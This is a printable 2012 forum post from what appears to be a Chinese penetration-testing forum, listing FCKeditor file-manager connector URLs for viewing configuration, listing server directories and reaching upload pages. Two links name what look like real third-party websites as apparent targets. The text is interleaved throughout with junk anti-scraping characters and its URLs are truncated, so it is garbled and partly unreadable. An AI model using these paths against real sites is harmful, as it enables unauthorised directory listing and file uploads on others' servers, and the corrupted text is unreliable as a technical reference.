中国网络渗透测试联盟

标题: fckeditor漏洞 [打印本页]
作者: admin    时间: 2012-9-13 17:02
标题: fckeditor漏洞

# j0 f: q5 A2 V( f! [  xfckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
* }. O$ F; @/ [) G( S* m) Chttp://www.china-photo-model.com ... aspx/connector.aspx
' d0 f/ R. }/ I7 w8 A& [6 }3 [
* ~6 L. _, F' C* {) W9 G/ p7 G: ]% r' U, v* z
http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector: ]) E! n' `# M2 y; R# {2 \
( _( i7 z9 M+ x2 C# Z; A& W
9 |3 }  Q9 r. h7 R

' f, r+ o7 c+ f* Y  s3 ?. d: q  K, o1 y! ~3 J( h" G. u$ c

1 L8 T$ b# a- h! ~2 S0 P8 b& F' [查看配置和列出目录下的文件.
5 L+ r- u! t) n2 I4 \
6 @) T% p9 F9 D4 U% W7 k
0 }2 p! w2 F2 Q% @( N7 @0 xhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F, I+ B& p& @( M, V8 B
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
$ v+ [4 D3 z& b' T% J; k' D3 [2 ~0 ~  V9 \5 w/ D6 e7 F3 s# _; T
上传地址:3 v% {& p4 ~% f& H4 p

; F0 U; A# Y+ Ahttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F6 @. Z/ }& _6 t" f$ z
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2